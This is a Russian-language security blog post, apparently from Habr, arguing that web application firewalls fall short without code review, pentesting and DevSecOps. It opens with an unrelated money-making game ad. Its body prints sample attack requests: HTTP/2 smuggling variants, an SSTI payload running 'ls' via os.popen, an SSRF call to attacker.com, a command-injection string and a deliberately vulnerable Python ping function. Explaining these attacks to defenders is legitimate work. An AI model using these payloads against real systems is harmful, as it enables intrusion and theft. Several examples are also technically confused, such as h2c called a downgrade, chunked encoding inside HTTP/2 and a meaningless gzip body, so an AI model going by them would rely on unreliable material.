Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!
Всем привет! Меня зовут Николай Шуляев, и это моя вторая статья на Хабре (первая – тут). В этот раз я хотел бы поднять достаточно важный для меня и отчасти провокационный вопрос: Так ли нужен WAF?
Предыстория
Сперва попытаемся понять, что происходит в умах офицеров ИБ, решивших усилить свой эшелон защиты покупкой так называемого Web Application Firewall. По моему опыту – в основном во время обследования, задавая вопрос «Почему вы решили поставить себе такой недешевый инструмент, как WAF?», ожидаешь услышать что-то типа «Регулятор сказал ставить – значит, ставим» или «Видел пару обзоров, понимаю, что у нас есть веб-приложения – надо защищать». Еще был такой интересный запрос: «Нас уже взломали раза три, наверное, нужен WAF». И всё. И вот он, новенький, уже стоит в стойке, красуется и подмигивает индикатором над оптикой, как бы намекая, что «дружище, всё под контролем, твои секреты и фоточки с корпоратива на жире (Jira) никто не стащит, всё хорошо». Но тут-то и начинается настоящий «Тартюф» Мольера.
Выделим основные проблемы, встречающиеся у владельцев WAF, а затем рассмотрим, как его лучше использовать и когда покупать.
Отсутствие понимания, что за приложения в структуре. Это, наверное, самый распространенный тип проблемы. Зачастую, ставя себе в структуру модный Jira + Confluence или Splunk и имея задачу защитить OSS от веб-атак – специалист не отдает себе отчет в том, какой ландшафт угроз в себе хранит данное приложение: с чем оно интегрировано? Что будет, если на его потрясный WAF прилетит вредоносный пейлоад?
Как следствие из первого пункта, – отсутствие возможности устранения проблем в исходном коде. Да, WAF действительно защитит вас от массированной и лоу-скилльной атаки в 90% случаях. НО! Если злоумышленник (или группа) сформирует такой пейлоад, который не нарушит сигнатурный анализ, но нарушит логику работы всего бизнес-процесса приложения, то какой смысл от такого дорого ПАК (или модуля для Nginx)?
Третья проблема – отсутствие ИБ в DevOps. DevSecOps не должно быть уже чем-то сверхъестественным для энтерпрайзов. Тем не менее для более молодых стартапов и команд, как правило, только открываются эти грани неизведанного, и оказывается, большое количество дыр в определенном фрагменте кода может в целом положить всю долгую работу девов.
Решения проблем
Итак, зная основные проблемы использования WAF, посмотрим на примерах, в чем заключаются негативные последствия использования WAF и как можно их избежать.
Отсутствие понимания, что за приложения в структуре
Зачастую, если вы не знаете, что за приложения в вашей структуре (я сейчас не говорю об их целях: скорее всего, вы прекрасно осведомлены, зачем OWA у вашего почтовика или веб-морда у вашего корп. чатика), вы будете просто ставить полный ПАК обороны поверх вашего стека. А теперь представьте, что у одного вашего WAF более 10000 сигнатур, а значит, необходимо запустить асинхронный парсер кода, который будет сопоставлять с каждым из троицы: Параметр / Заголовок / Тело регулярки. Просто огромнейшая утилизация ресурсов, особенно если добавить ко всему этому ML (и это еще хорошо, если ваш WAF умеет отсеивать автоматизировано статический контент от динамического, проваливаться на уровень параметров в определенных условиях и т.п.). И тут либо вы потратите время на «заплатки» на уровне WAF, которые все равно временные (поверьте, забайпасить фильтры WAF более чем реальная задача), либо тоже потратите время на взаимодействие инженеров ИБ и разработчиков приложения для исключения найденной уязвимости в коде.
На самом деле я встречал у заказчиков два варианта философии:
WAF только против Bot, а против настоящего злоумышленника бессилен.
WAF хороший дополнительный инструмент защиты, требующий опытных специалистов под написание узких сигнатур и правил.
Но и в той, и в другой философии без понимания, на чем написано конкретное приложение, что за внутренние обращения есть у него, какой код исполняется на уровне ОС, какая БД используется, какие версии пакетов используются в приложении, – невозможно максимально эффективно и качественно использовать WAF. Вы рискуете в таком случае купить WAF на избыточных мощностях, который толком не покроет атаки на логику приложений. Представьте, что вы будете чувствовать тогда в случае взлома. Покупая Mercedes (хотя в 2023, наверное, все-таки Haval), вы хотите, чтобы автомобиль использовал свой функционал по максимуму и экономично, т.е. ездил быстро и комфортно, с маленьким расходом бензина. То же самое касается и WAF.
Возможные последствия, и как их избежать
Пример возможной атаки в таком случае – HTTP Request Smuggling.
Если кратко – это атака с применением подделки запросов приложений, когда в цепочке обращений к веб-приложению встречаются несколько разных типов сетевого оборудования, некоторые из которых могут поддерживать заголовки Transfer-Encoding и адекватно считывают значение заголовка Content-Length. В таком случае без должного понимания своей инфраструктуры найти уязвимость будет почти невозможно и всё, что вам останется, – удивляться, как же так ловко без сигнатур злоумышленники крадут сессионные куки и пишут: «Саня, привет, тут такое дело, нужны деньги...». Это все, конечно, можно воспринимать с улыбкой, но тем не менее, это яркий пример того, что WAF – не панацея.Более подробно ситуация описана тут: https://habr.com/ru/post/468489/ и тут: https://portswigger.net/web-security/request-smuggling.
Хочу в качестве примера описать на русском использование HTTP/2 Downgrading (т.к. не нашел нигде русскоязычную статью или обсуждение) атаки. По сути это атака, логически похожая на Request Smuggling, только реализуемая с понижением версии HTTP. Вы также можете ознакомиться с данном типом атак тут: https://portswigger.net/web-security/request-smuggling/advanced/http2-downgrading, вот еще примеры: https://book.hacktricks.xyz/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades или изучить мою интерпретацию данной уязвимости ниже.
Разумеется, практика использования HTTP/2 на нашем рынке абсолютно сырая. Вы, наверное, вряд ли вообще встречали этот протокол, будучи админом или даже разработчиком отечественного ПО (честно, это очень странно, потому что технология уже древняя по меркам современности). Тем не менее, по данным W3Techs, на 1 февраля 2021 года 50,2% из 10 млн самых популярных интернет-сайтов поддерживают протокол HTTP/2. То есть если в мире 50%, то сколько в России – загадка.
Итак, у нас есть приложение (имеется ввиду комплексно -- в том числе веб-сервер, на котором оно крутится), поддерживающее HTTP/2. А в структуре, где отделы сетевых инженеров, прикладных, разработчиков, ИБ-шников находятся порознь и общаются только непосредственно через SD или корп. чат + почту, – есть еще парочка серверов, те же WAF. Так вот, если во всей этой инфраструктуре встречается сервер, который поддерживает только HTTP/1 (поверьте, иногда встречаются структуры и с Windows XP), то приходится генерировать эквивалент HTTP/2 запроса в HTTP/1. Таким образом «пониженный» HTTP/2 запрос отправляется на соответствующий backend-сервер.
Примеры атак HTTP/2 Downgrading
Конечно, WAF умеет защищать от таких атак «в лоб», будучи настроенным для принудительного использования самой последней версии протокола. Но нужно учитывать тот факт, что сам WAF также может быть участником цепочки атаки. Например, вот классическая атака HTTP/2 Downgrading, которая потенциально может избежать обнаружения WAF`ом:
Запрос:
GET /admin HTTP/1.1
Host: example.com
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
В этом примере в запросе указан протокол обновления «h2c», который используется для понижения версии соединения до HTTP/1.1. Также используется заголовок HTTP2-Settings для указания параметров HTTP/2 соединения. Этот заголовок обычно используется при согласовании HTTP/2, но им можно злоупотреблять при атаке на более раннюю версию.
Ответ:
HTTP/1.1 200 OK
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" name="username" id="username"><br>
<label for="password">Password:</label>
<input type="password" name="password" id="password"><br>
<input type="submit" value="Submit">
</form>
<p>Invalid username or password</p>
</body>
</html>
Веб-сервер понизил версию соединения до HTTP/1.1, несмотря на то, что злоумышленник запросил HTTP/2. Потенциально таким способом можно обойти любые меры безопасности, которые существуют для защиты от атак, специально нацеленных на HTTP/2. Чтобы предотвратить подобные атаки, необходимо иметь полную картину о всех веб-серверах и цепочках прокси-серверов при обработке запроса. Для этого необходимо обратиться за услугами аудита или проводить его самостоятельно ресурсами компании. Подразумевается, что после аудита необходимо реализовать определенные конфигурации веб-серверов, которые блокируют атаки с понижением версии или полностью отключают протокол h2c.
Ещё одним примером возможной атаки является H2.CL Desync. Возможность ее реализации кроется в самой спецификации HTTP/2. В ней явно указывается, что заголовок Content-Length может быть использован в запросах, при этом он не является обязательным для работы протокола. Соответственно становится возможным инъекция этого заголовка при понижении версии протокола. Пример такого запроса:
POST /login HTTP/2
Host: example.com
Content-Length: 10
username=
Злоумышленник отправляет запрос POST на конечную точку /login с пустым полем имени пользователя в теле запроса.
Ответ:
HTTP/1.1 200 OK
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<form action="/login" method="POST">
<label for="username">Username:</label>
<input type="text" id="username" name="username">
<label for="password">Password:</label>
<input type="password" id="password" name="password">
<input type="submit" value="Login">
</form>
</body>
</html>
Веб-сервер отвечает стандартной страницей входа, указывающей, что запрос POST был успешным. Однако злоумышленник может использовать атаку H2.CL Desync для отправки дополнительных запросов, которые могут обойти WAF и другие механизмы безопасности. Например, он может отправить второй запрос, который выглядит как часть того же соединения, но на самом деле является отдельным запросом, который может обойти проверки безопасности:
GET /admin HTTP/1.1
Host: example.com
Content-Length: 0
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: example.com
Content-Length: 0
В таком случае злоумышленник отправляет запрос GET на конечную точку /admin, но также включает заголовок Transfer-Encoding с «chunked» значением. Сам заголовок указывает на то, что запрос будет отправлен фрагментами, а не единым объектом. И затем отправляется фрагмент «0», который указывает на конец тела запроса. Однако злоумышленник также включает отдельный запрос GET для корневой точки “/”, который не является частью исходного запроса.
Сервер ответит на запрос несколькими ответами:
HTTP/1.1 200 OK
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<title>Admin Area</title>
</head>
<body>
<h1>Admin Area</h1>
<p>Welcome to the admin area.</p>
</body>
</html>
И отдельный ответ на второй запрос:
HTTP/1.1 200 OK
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<title>Home Page</title>
</head>
<body>
<h1>Welcome</h1>
<p>This is the home page.</p>
</body>
</html>
Веб-сервер ответит на первый запрос ожидаемым ответом для конечной точки /admin. Однако второй запрос будет обрабатываться отдельно, и злоумышленник потенциально может использовать это для обхода механизмов безопасности и получения несанкционированного доступа к конфиденциальным областям веб-сайта.
Чтобы предотвратить атаки типа H2.CL Desync, нужно убедиться, что веб-серверы обрабатывающие запросы, правильно настроены для обработки запросов HTTP/2, и что они не уязвимы для атак десинхронизации. Для этого необходимо регулярное тестирование на проникновение, анализ исходного кода, аудит конфигураций сервисов. Кроме того, следует внедрить надежные механизмы аутентификации и авторизации для защиты от несанкционированного доступа к конфиденциальным областям веб-сайта.
HTTP/2 (H2) request smuggling также возможен в реализации. Эта атака может произойти, когда веб-сайт использует токен в URL-адресе для поддержания состояния сеанса пользователя, но при этом сам токен не проверяется корректно.
Пример запроса злоумышленника, в котором используется два заголовка Content-Length – один в десятичной, другой в шестнадцатеричной форме:
POST /login?token=12345 HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Content-Length: 0x0A
username=admin&password=password
Бэкенд-сервер может интерпретировать этот запрос двумя разными способами из-за конфликтующих заголовков Content-Length. Некоторые серверы могут учитывать только первый заголовок, в то время как другие -- только второй. Злоумышленник может обойти меры безопасности (например, аутентификацию) в подобных случаях. В этой конкретной атаке он может манипулировать токеном в URL-адресе, чтобы захватить сеанс пользователя-жертвы. Опять же эта атака вполне реализуема в инфраструктуре, где есть WAF, который настроен некорректно, т. к.: администратором сделан выбор в пользу производительности или просто у администраторов ИБ недостаточно компетенций в области существующих уязвимостей.
Похожая атака H2.TE Desync Header Hijack:
POST /login HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
Transfer-Encoding: chunked
TE: trailers
5
hello
0
GET /admin HTTP/2
Host: example.com
Content-Type: text/html
Content-Length: 0
Злоумышленник отправляет POST-запрос с фрагментированной кодировкой (chunked encoding) и заголовком TE: trailers. Полезная нагрузка в таком случае «hello». Сервер будет интерпретировать полезную нагрузку как фрагментированное кодирование и ждать следующего фрагмента или последнего фрагмента (который обозначается 0 в новой строке). Однако злоумышленник отправляет запрос GET сразу после полезной нагрузки, не дожидаясь ответа сервера. Это создаст десинхронизацию между интерпретацией запроса клиентом и сервером, что дает возможность злоумышленнику реализовать такие атаки, как Request Smuggling или Web Cache Poisoning.
WAF может не обнаружить эту атаку, потому что она включает в себя комбинацию легитимных заголовков и полезной нагрузки. Однако при более раннем обнаружении в исходном коде или с помощью тестирования на проникновение сервер можно настроить так, чтобы он лучше обрабатывал такие запросы и предотвращал возникновение уязвимости.
Пример H2.TE via Request Header Injection, в ходе которой добавляется дополнительная инъекция заголовка после исходного заголовка запроса:
POST /login HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: https://example.com
Connection: keep-alive
Referer: https://example.com/login
Cookie: sessionid=1234567890abcdef
TE: trailers
Header-Injection: X-Forwarded-For: 127.0.0.1
username=admin&password=Password123!
В этом примере злоумышленник добавляет заголовок TE: trailers, а затем вводит дополнительный заголовок, используя поле Header-Injection, в которое добавляет X-Forwarded-For: 127.0.0.1 к исходным заголовкам запроса.
Если сервер вслепую объединяет трейлеры с заголовками, он может интерпретировать введенный заголовок как часть исходного заголовка запроса, позволяя злоумышленнику изменить запрос или переправить дополнительные запросы.
WAF может оказаться не в состоянии обнаружить эту атаку, так как он требует анализа содержимого заголовка TE и того, как сервер его обрабатывает. Однако анализ исходного кода или тестирование на проникновение могут помочь выявить и устранить эти уязвимости.
Хочу также рассказать о TE via Header Name Injection.
Злоумышленник может использовать поле заголовка HTTP/2 TE для проведения атак H2.TE с помощью внедрения имени заголовка, вводя в запрос специально созданные имена заголовков. Эти атаки направлены на то, чтобы обойти любые механизмы защиты и помешать обработке запроса сервером. Можно воспользоваться этой уязвимостью, чтобы внедрить произвольные символы в имя заголовка, в результате чего оно будет интерпретировано как отдельный заголовок. Это приведет к тому, что сервер обработает запрос неправильно или вообще не сможет проанализировать запрос.
Например, рассмотрим следующий запрос:
POST /example HTTP/2
Host: example.com
Content-Type: application/json
TE: gzip,deflate,chunked;q=0.8
MyHeader: Attacker's Header Value
Content-Length: 10
{"key": "value"}
В этом примере злоумышленник внедрил в запрос настраиваемый заголовок с именем «MyHeader». Сервер может неправильно интерпретировать этот заголовок как допустимый и попытаться его обработать, что может привести к потенциальным проблемам с безопасностью.
WAF может не обнаружить этот тип атаки, особенно если имена заголовков не находятся в черном списке или не помечены как вредоносные. Таким образом, более раннее обнаружение в исходном коде может помочь устранить уязвимость путем надлежащей проверки и очистки всех вводимых пользователем данных, включая заголовки HTTP.
Похожим образом устроена H2.TE via Request Line Injection:
GET /index.php HTTP/2.0
Host: www.example.com
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
TE: deflate
a=1 HTTP/1.1
Host: www.example.com
Connection: keep-alive
Запрос HTTP/2 разделен на две части: первая часть заканчивается на "deflate", а вторая часть начинается на "a=1 HTTP/1.1". Первая часть обрабатывается как легитимный запрос HTTP/2, а вторая часть — как запрос HTTP/1.1.
Запрос HTTP/1.1 во второй части представляет собой запрос GET для страницы index.php с параметром «a» равным «1». Сервер обрабатывает этот запрос и возвращает ответ, который может содержать конфиденциальную информацию.
Затем злоумышленник может получить и просмотреть ответ, потенциально получив конфиденциальную информацию.
Последняя атака в этом блоке Hidden HTTP/2 — это тип атаки, целью которой является уклонение от обнаружения путем использования протокола HTTP/2 для сокрытия вредоносного трафика. Злоумышленник может использовать способность протокола HTTP/2 мультиплексировать запросы по одному соединению и сжимать заголовки, чтобы скрыть свой вредоносный трафик.
Пример такой атаки:
1. Злоумышленник отправляет запрос HTTP/2 на сервер, используя сжатие, чтобы скрыть полезную нагрузку.
POST /login HTTP/2
Host: example.com
Content-Encoding: gzip
Content-Length: 32
H4sIAAAAAAAA//NIzcnJVyjPL8pJUQQAlP
2. Сервер получает запрос и передает его через WAF, который не может обнаружить атаку, потому что не может распаковать полезную нагрузку.
3. Сервер распаковывает полезную нагрузку, раскрывая фактический вредоносный запрос:
POST /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Referer: http://example.com/login
username=admin&password=admin
Сервер обрабатывает вредоносный запрос, позволяя злоумышленнику получить доступ к конфиденциальным данным или выполнить другие вредоносные действия.
Таким образом, предостережение номер 1: Перед покупкой WAF обратите внимание на цель покупки – а именно на свои приложения. Точно ли вы знаете, что у вас установлено? Кто это админит? Кому звонить, когда будут вопросы? Не ответив на данные вопросы, не стоит бежать за новой покупкой.
Отсутствие возможности устранения проблем в исходном коде
Представим, что ваш модный современный WAF, обладающий встроенным DAST-сканером нашел все-таки уязвимость, и изо всех щелей прозвенел громкий и пугающий ALERT!!! И что дальше? Возьмем за пример SQL-инъекцию: вы нашли кусок кода, где пользовательский параметр сразу передается в БД, без санитизации и параметризации – сделали заплатку на WAF. Выходит байпас для WAF – дырка остается открытой. Т.е. если фундаментально не решить проблему на уровне кода, вы рискуете навлечь на себя постоянную неопределенность: защищен ли я на данный момент?
Примеры байпасов были и на PHDays (вообще гуглится сразу статья от наших партнеров Positive Technologies — https://www.ptsecurity.com/upload/corporate/ww-en/download/PT-devteev-CC-WAF-ENG.pdf), и в целом очень легко найти много материала по байпасу на базе SQL-инъекций. Добавлю несколько примеров, как можно забайпасить WAF не только в SQL`ах, и как можно было бы это предотвратить на уровне кода.
Пример атаки на бизнес логику, где WAF не обнаруживает атаку, но более раннее обнаружение в исходном коде или с помощью пентеста могло бы ее предотвратить:
POST /transfer HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=abc123
amount=1000&recipient=attacker@example.com&source=1234567890123456
В этом примере злоумышленник пытается выполнить мошеннический перевод средств, внедрив вредоносный код на страницу перевода в веб-приложении. Злоумышленник ввел адрес электронной почты получателя «attacker@example.com» и номер исходной учетной записи «1234567890123456». Цель злоумышленника — перевести 1000 долларов со счета жертвы на свой счет.
Ответ:
HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
<!DOCTYPE html>
<html>
<head>
<title>Transfer Confirmation</title>
</head>
<body>
<h1>Transfer Confirmation</h1>
<p>You are about to transfer $1000 to attacker@example.com. Please confirm your details:</p>
<ul>
<li>Recipient: attacker@example.com</li>
<li>Amount: $1000</li>
<li>Source Account: 1234567890123456</li>
</ul>
<form action="/transfer" method="post">
<input type="hidden" name="recipient" value="attacker@example.com">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="source" value="1234567890123456">
<input type="hidden" name="confirmed" value="true">
<button type="submit">Confirm Transfer</button>
</form>
</
Злоумышленник успешно манипулирует веб-приложением, чтобы создать страницу подтверждения перевода с предполагаемым получателем и суммой. Жертва может полагать, что она разрешает легитимный перевод, но на самом деле перевод пойдет на счет злоумышленника.
Хотя WAF может обнаруживать и блокировать некоторые атаки, он может оказаться не в состоянии обнаруживать более сложные атаки, подобные показанной в этом примере. Однако более раннее обнаружение в исходном коде или с помощью пентеста могло бы помешать успешной атаке.
Пример SSTi атаки в обход WAF:
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
query={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
В этом примере злоумышленник пытается выполнить команду на сервере, используя уязвимость Server-Side Template Injection (SSTi) в функции поиска веб-приложения. Он внедрил вредоносную полезную нагрузку в параметр «query», который вызывает модуль «os» и выполняет команду «ls».
В этом примере злоумышленник успешно воспользовался уязвимостью SSTi в веб-приложении и выполнил команду «ls» на сервере, которая выводит список файлов в текущем каталоге. Затем результаты этой команды возвращаются в теле ответа веб-приложения.
Полезная нагрузка специально создана, чтобы избежать обнаружения WAF и выглядеть как легитимный запрос. В таком случае опять же на помощь приходит регулярное тестирование на проникновение и анализ исходного кода.
Ловите предостережение номер 2. Даже покупая самый крутой, модный и дорогой WAF, почитайте как можно больше о методологиях безопасной разработки. Да, это может быть неактуальным в целом для именно вашей компании, если вы ничего не разрабатываете. Но, возможно, вашим инженерам по ИБ было бы интересно поразбираться в коде продукта (тем более, если он Open Source) и позакрывать уязвимости, или же у вас есть опция, чтобы добрать Application Security Engineer в штат.
Отсутствие ИБ в DevOps
(Если вы не слышали, что такое CI/CD, SDLC (SSDLC), то этот пункт можно пропустить.)
В продолжение ко второму пункту: хорошо, если у вас есть DAST в WAF, но не все решения содержат встроенный, удобный, а главное, функционально закрывающий все требования DAST. И, конечно, без ручного исследования на проникновение (Pentest) полной картины о существующих уязвимостях не получить. Даже небольшой стек инструментария, внедренный в процесс разработки, например SAST+DAST, помогает исключить вероятность возникновения уязвимости еще до этапа публикации кода.
DevSecOps помогает обнаруживать уязвимости безопасности на ранних этапах процесса разработки, что помогает предотвратить их использование злоумышленниками. Встраивая безопасность в процесс разработки, компании могут снизить риск инцидентов, связанных с безопасностью, утечек данных и других атак.
Атаки, которые могут быть предотвращены благодаря внедрению DevSecOps, но не закрылись бы с помощью WAF
Примером атаки, которую можно предотвратить с помощью решений DevSecOps, даже если WAF не может ее обнаружить, является атака с подделкой запросов на стороне сервера (SSRF). Атаки SSRF включают в себя отправку злоумышленником запроса с сервера на ресурс на другом сервере, обычно с намерением получить доступ к ресурсу, к которому у него не должно быть доступа. WAF иногда не в состоянии обнаружить этот тип атаки, если запрос кажется легитимным, но решение DevSecOps может помочь предотвратить его несколькими способами:
1. Проверка кода. В процессе проверки кода разработчики могут искать случаи, когда пользовательский ввод используется для формирования URL-адресов или других запросов к внешним ресурсам. Проверяя эти входные данные и обеспечивая их надлежащую очистку, разработчики могут предотвратить использование злоумышленниками атак SSRF для доступа к конфиденциальным ресурсам.
2. Сканирование уязвимостей. Регулярное сканирование уязвимостей помогает выявить уязвимости SSRF в коде, которые могли быть пропущены во время разработки. Вылавливая эти уязвимости на ранней стадии, разработчики могут исправить их до того, как они будут использованы злоумышленниками.
3. Контроль доступа. Контроль доступа может быть реализован для ограничения ресурсов, к которым разрешен доступ серверу. Внедряя эти элементы управления, разработчики предотвратят доступ злоумышленников к конфиденциальным ресурсам, даже если те смогут успешно провести атаку SSRF.
Пример запроса:
GET /get?url=http://attacker.com HTTP/1.1
Host: target.com
Ответ:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 25
# Это страница атакующего
Другой тип атаки, который может быть обнаружен и предотвращен путем внедрения решений DevSecOps, даже при наличии WAF, – подделка межсайтовых запросов (CSRF)
CSRF — это тип атаки на веб-приложение, при котором злоумышленник обманом заставляет пользователя выполнить нежелательное действие в веб-приложении, в котором тот уже прошел аутентификацию. Это достигается путем дезинформирования жертвы и вынуждения ее щелкнуть ссылку или отправить форму, которая инициирует совершение действия без ее ведома и согласия.
Например, предположим, что есть веб-приложение, которое позволяет пользователям обновлять информацию своего профиля, используя для этого простой запрос POST. Злоумышленник может создать веб-страницу со скрытой формой, которая автоматически отправляет информацию о пользователе в конечную точку обновления приложения при загрузке страницы без ведома пользователя. Если пользователь посещает эту вредоносную страницу, пока он все еще аутентифицирован в приложении, злоумышленник может изменить информацию профиля пользователя без его ведома или согласия.
WAF не всегда может обнаружить этот тип атаки, потому что сама атака технически легитимна: злоумышленник отправляет действительный запрос POST на конечную точку приложения. Однако подход DevSecOps может предотвратить эту атаку путем реализации таких мер, как:
Включение токенов защиты от CSRF в формы и запросы, чтобы гарантировать, что принимаются только авторизованные запросы.
Обеспечение более строгого контроля доступа для ограничения действий, которые может выполнять пользователь, особенно для действий, которые могут иметь серьезные последствия (например, обновление информации об учетной записи, перевод средств и т. д.).
Внедрение методов безопасной разработки, таких, как проверка ввода и кодирование вывода, для предотвращения внедрений, которые могут быть использованы для проведения атаки CSRF.
Еще одна атака - command injection attack.
Предположим, есть веб-приложение, которое позволяет пользователям проверять связь с указанным IP-адресом или доменным именем. Оно запускает на сервере команду ping для отправки ICMP-пакетов адресату и измеряет время отклика. Пользователь может ввести цель в поле формы, и приложение использует этот ввод для создания командной строки, которая запускает команду ping.
Пример уязвимого фрагмента кода в Python:
import subprocess
def ping(target):
command = "ping " + target
response = subprocess.check_output(command, shell=True)
return response.decode("utf-8")
Если злоумышленник введет вредоносный ввод, включающий команду оболочки, эта команда будет выполнена на сервере. Например, злоумышленник может добавить оператор &&, за которым следует другая команда для выполнения после команды ping:
127.0.0.1 && ls –la
Этот ввод приведет к следующей командной строке:
ping 127.0.0.1 && ls –la
Когда команда выполняется, она сначала запустит команду ping, как и предполагалось, но затем она также запустит команду ls -la в том же процессе. Это может позволить злоумышленнику просмотреть содержимое файловой системы сервера и потенциально повысить свои привилегии.
WAF не всегда обнаруживает этот тип атаки, потому что входные данные представляют собой действительный IP-адрес или доменное имя, а команда ping является законной системной командой. Однако подход DevSecOps может помочь предотвратить эту атаку, внедрив проверку и очистку ввода в коде приложения, а также используя методы безопасной разработки, чтобы избежать объединения пользовательского ввода с системными командами.
Резюме
Подытоживая, хотелось бы чуть больше рассказать о наших компетенциях.
Напомню, что я работаю в компании Angara Security. Обратившись к нам, вы можете закрыть все описанные выше возникающие уязвимости. Мы предлагаем гибкий подход под разные задачи и разных заказчиков.
В целом, надеюсь, данный материал оказался для вас полезным, и вы дважды подумаете, какие шаги лучше предпринять, чтобы эффективно обеспечить информационную безопасность ваших приложений.
Также рассчитываю, что статья помогла вам открыть глаза на необходимость комплексного подхода в создании системы защиты веб-приложений. Спасибо за прочтение!